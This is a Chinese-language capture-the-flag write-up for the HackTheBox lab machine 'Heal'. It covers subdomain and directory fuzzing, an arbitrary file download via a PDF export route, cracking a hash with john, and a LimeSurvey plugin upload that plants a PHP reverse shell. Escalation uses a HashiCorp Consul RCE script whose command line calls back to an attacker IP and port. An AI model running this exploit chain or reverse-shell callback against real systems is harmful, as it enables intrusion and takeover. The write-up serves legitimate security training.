Heal-HTB

信息收集

nmap -sC -sV -T4 -Pn 10.10.11.48

记得添加下host映射然后访问

ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -u http://heal.htb/ -H "Host:FUZZ.heal.htb" -fc 301 子域名爆破扫到一个api

可以看到是用的ruby先记录留着

http://heal.htb/suery看到一个新的子域名加入host里面

访问一下发现一个用户名,先记录一下

扫一下这个子域名的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dirsearch -u "http://take-survey.heal.htb/index.php/" -t 50 -i 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_take-survey.heal.htb/_index.php__24-12-15_19-42-06.txt

Target: http://take-survey.heal.htb/

[19:42:06] Starting: index.php/
[19:42:19] 200 - 75KB - /index.php/admin/mysql/index.php
[19:42:23] 200 - 74KB - /index.php/apc/index.php
[19:42:42] 200 - 74KB - /index.php/pma/index.php
[19:42:54] 200 - 75KB - /index.php/web/phpMyAdmin/index.php

访问admin会跳转到登录界面。有点慢先看其他的

漏洞利用

在一开始登录进去的页面有一个导出pdf的功能抓包看看

发现有download路由

看看能不能任意文件下载

发现可以又联想到之前ruby的页面去下载他的配置文件看看

把这个sqlite文件下载下来

解密下这个密码

john hash --wordlist=/usr/share/wordlists/rockyou.txt

得到密码:

然后去登录后台因为ssh连接不上

使用该exp进行利用
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE

这里需要更改一下xml文件添加一个compatibility版本为6.0的否则无法反弹shell

然后打包上传压缩包

zip oceanzbz_zip config.xml php-rev.php

然后激活访问http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php

查看配置文件

发现密码,这里用ron用户登录。

提权

查看一下开放的端口

开放了很多这里8500端口转发出来其他的我测试了发现不是http服务

ssh -L 8500:127.0.0.1:8500 ron@heal.htb

随便点点找到信息泄漏版本

然后利用脚本拿shell
https://www.exploit-db.com/exploits/51117
python3 Hashicorp_Consul_v1.0RCE_EXP.py 127.0.0.1 8500 10.10.16.25 1234 0
这里的acltoken随便填就行